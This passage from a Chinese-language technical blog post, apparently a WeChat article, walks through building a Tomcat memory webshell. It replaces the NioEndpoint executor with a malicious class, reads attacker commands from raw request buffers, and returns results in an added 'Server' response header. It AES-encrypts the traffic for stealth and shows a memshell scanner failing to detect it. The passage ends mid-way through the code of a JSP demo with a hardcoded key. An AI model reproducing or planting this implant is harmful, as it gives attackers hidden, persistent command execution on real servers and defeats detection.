keepAliveTime, unit, workQueue, threadFactory, handler);</span></code><code><span class="code-snippet_outer">    }  </span></code><code><span class="code-snippet_outer">   </span></code><code><span class="code-snippet_outer">   ......</span></code><code><span class="code-snippet_outer">   </span></code><code><span class="code-snippet_outer">     <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">execute</span><span class="code-snippet__params">(Runnable command)</span> </span>{</span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">             System.out.println(<span class="code-snippet__string">&#34;123&#34;</span>)；</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//Evil code here</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.execute(command, <span class="code-snippet__number">0L</span>, TimeUnit.MILLISECONDS);</span></code><code><span class="code-snippet_outer">            </span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>通过AbstractEndpoint中的setExecutor方法将原本的executor置换为我们的恶意类。</p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 662px;height: 420px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=9b80900b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETT0BZ7ibg9rWN8GS4gicbKnPTGHZPbOzTY5J7OKRL2ZI0ccqUwXGQrwsg%2F640%3Fwx_fmt%3Dpng"/></p><p>置换后，Endpoint处理所使用的executor成功变为我们的恶意类：</p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 662px;height: 420px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=80747771&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETvicYpaJfXvqE2IKWhbuzvZ0oHlEYVdPFNmAYoG6clY3Qw8BnZdiaueibw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 22px;">实现交互</span></p><p><span style="font-weight: bold;font-size: 20px;">获取命令</span></p><p>根据上文中的前置知识和Tomcat笔记（其一）中我们所描述的，标准的ServletRequest需要经过Processor的封装后才可获得，如果我们想要把命令放在header中传入，该如何实现？</p><p>实现的方法肯定不止一种，此处我借用java内存搜索工具找到一处位于NioEndpoint中的nioChannels的appReadBufHandler，很明显其中的Buffer存放着我们所需要的request。</p><p><img class="rich_pages wxw-img" data-ratio="0.6257627118644068" style="width: 662px;height: 414px;" data-type="png" data-w="2950" src="https://wechat2rss.xlab.app/img-proxy/?k=1bb90e95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETIc6rFJuyYV3fRVWaniaKApl7qv4Pr2bc57dhrjEliaJBhibpqtu3CTT4w%2F640%3Fwx_fmt%3Dpng"/></p><p>将命令字段提取处理即可。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getRequest() {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (!threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>) &amp;&amp; threadName.contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__built_in">Object</span>[] objects = (<span class="code-snippet__built_in">Object</span>[]) getField(getField(getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>), <span class="code-snippet__string">&#34;nioChannels&#34;</span>), <span class="code-snippet__string">&#34;stack&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[<span class="code-snippet__number">0</span>], <span class="code-snippet__string">&#34;appReadBufHandler&#34;</span>), <span class="code-snippet__string">&#34;byteBuffer&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    </span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__built_in">String</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(heapByteBuffer.array(), <span class="code-snippet__string">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">if</span> (a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) &gt; <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">                                        System.out.println(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>));</span></code><code><span class="code-snippet_outer">                                        System.out.println(a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__built_in">String</span> b = a.substring(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) + <span class="code-snippet__string">&#34;blue0&#34;</span>.length() + <span class="code-snippet__number">1</span>, a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                                        System.out.println(b);</span></span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__keyword">return</span> b;</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    System.out.println(var11);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>();</span></code><code><span class="code-snippet_outer">        }</span></code></pre></section><p><br/></p><p><span style="font-weight: bold;font-size: 20px;">实现回显</span></p><p>注入内存马的位置在Processor处理生成标准ServletRequest之前，显然完整的ServletResponse要在Containor处理完成之后才会生成，那我们要如何解决回显问题？</p><p><span style="font-weight: bold;font-size: 18px;">想法一：</span></p><p>直接在此处使用Socket与client端进行通信，以字节流的形式传输数据。</p><p>（理论上可行，未测试）</p><p><span style="font-weight: bold;font-size: 18px;">想法二：</span></p><p>主要利用tomcat在处理request时的特性。</p><p>AbstractProcessor在初始化时就会进行Tomcat Request与Response的创建，继承了AbstractProcessor的Http11Processor也是如此：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> AbstractProcessor(AbstractEndpoint&lt;?&gt; endpoint) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>(endpoint, new Request(), new Response());</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">protected</span> AbstractProcessor(AbstractEndpoint&lt;?&gt; endpoint, Request coyoteRequest, Response coyoteResponse) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.hostNameC = new char[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.asyncTimeout = -<span class="code-snippet__number">1L</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.asyncTimeoutGeneration = <span class="code-snippet__number">0L</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.socketWrapper = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.errorState = ErrorState.NONE;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.endpoint = endpoint;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.asyncStateMachine = new AsyncStateMachine(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.request = coyoteRequest;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.response = coyoteResponse;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.response.setHook(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.request.setResponse(<span class="code-snippet__keyword">this</span>.response);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.request.setHook(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.userDataHelper = new UserDataHelper(<span class="code-snippet__keyword">this</span>.getLog());</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code></pre></section><p>并且Response是会封装在Request对象中的：</p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 662px;height: 420px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=1b905433&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETg3MUaEDqdqo198SarD4Lcn7rTMfT1q2x529IydTgZIWOulDeMzRfag%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p>在Container中的逻辑处理完之后，Http11Processor会继续对我们的response进行封装：<span style="font-family: -webkit-standard;font-size: 14px;white-space: pre-wrap;">    </span><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="font-size: 14px;white-space: pre-wrap;width: 662px;height: 420px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=7ebd4eec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETIzXXOJDXDGRtkWVOuzDrvmBcPFVE12ciccU2bBibd34wA84mdfP77vYA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p><br/></p><p>所以我们只需将命令执行的结果提前放入Tomcat的response中即可，这里我选择的是header。</p><p>PS：最开始的时候走了点弯路，想要把最开始的response结构体中的buffer部分找出来直接put(byte[])进去，后来发现byteBuffer扩容起来很麻烦，而且可能会存在后续tomcat处理将回显部分覆盖的情况。</p><p>so这里直接使用response.addHeader()，将结果放入header中。</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> getResponse(byte[] res) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (!threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>) &amp;&amp; threadName.contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                    ArrayList objects = (ArrayList) getField(getField(getField(getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>), <span class="code-snippet__string">&#34;handler&#34;</span>), <span class="code-snippet__string">&#34;global&#34;</span>),<span class="code-snippet__string">&#34;processors&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> tmp_object:objects) {</span></code><code><span class="code-snippet_outer">                                        RequestInfo request = (RequestInfo)tmp_object;</span></code><code><span class="code-snippet_outer">                                        Response response = (Response) getField(getField(request, <span class="code-snippet__string">&#34;req&#34;</span>), <span class="code-snippet__string">&#34;response&#34;</span>);</span></code><code><span class="code-snippet_outer">                                        response.addHeader(<span class="code-snippet__string">&#34;Server&#34;</span>,<span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(res,<span class="code-snippet__string">&#34;UTF-8&#34;</span>));</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                                        System.out.print(&#34;buffer add&#34;);</span></span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code></pre></section><p><span style="font-weight: bold;font-size: 22px;">Final</span></p><p>为通信的隐蔽性，最后做了一下AES加密：</p><p>最终实现的效果为，若检测到request请求中包含我们自定义的header头则会执行相关恶意操作，并在response的自定义header中返回，否则则为正常业务流量：</p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 662px;height: 458px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=7e9c817f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETS6zPjlISqSMic3svKRZj1sMxOgHniaAWOxV2nRcTjNZrezzmCe9s8zcQ%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 662px;height: 458px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=978702ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ET9Hl4nX2JfcJwrJQJYGW6hnfibM0YhP5YPhYl88aiah0VFJvtAqkvTq9w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><img class="rich_pages wxw-img" data-ratio="0.5779359430604982" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 662px;height: 383px;" data-type="png" data-w="2810" src="https://wechat2rss.xlab.app/img-proxy/?k=f38747b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ET52ktLkzvic3icBTic6yzGF3RXK5MEibrtyREsSGXdX7svapxNEo0k6jbHQ%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p><br/></p><p>同样的，因为不是在Container中实现的内存马，<span style="font-weight: bold;color: rgb(0, 0, 0);">tomcat-memshell-scanner</span>无法检测到：</p><p><img class="rich_pages wxw-img" data-ratio="0.5795620437956205" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 662px;height: 384px;" data-type="png" data-w="2740" src="https://wechat2rss.xlab.app/img-proxy/?k=b4a00af7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ET8u8pEVFQOFa9fLGSzqcYY3ekNzXwxS43w1Vzvtsibeibmqma7ANUPib0Q%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p><br/></p><p><span style="font-weight: bold;font-size: 26px;">jsp_demo</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.tomcat.util.net.NioEndpoint&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.tomcat.util.threads.ThreadPoolExecutor&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.concurrent.TimeUnit&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.lang.reflect.Field&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.concurrent.BlockingQueue&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.concurrent.ThreadFactory&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.nio.ByteBuffer&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.ArrayList&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.coyote.RequestInfo&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.coyote.Response&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.io.IOException&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.nio.charset.StandardCharsets&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page contentType=<span class="code-snippet__string">&#34;text/html;charset=UTF-8&#34;</span> language=<span class="code-snippet__string">&#34;java&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;%!</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> DEFAULT_SECRET_KEY = <span class="code-snippet__string">&#34;blueblueblueblue&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> AES = <span class="code-snippet__string">&#34;AES&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final byte[] KEY_VI = <span class="code-snippet__string">&#34;blueblueblueblue&#34;</span>.getBytes();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> CIPHER_ALGORITHM = <span class="code-snippet__string">&#34;AES/CBC/PKCS5Padding&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">String</span> decode(<span class="code-snippet__built_in">String</span> key, <span class="code-snippet__built_in">String</span> content) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            javax.crypto.SecretKey secretKey 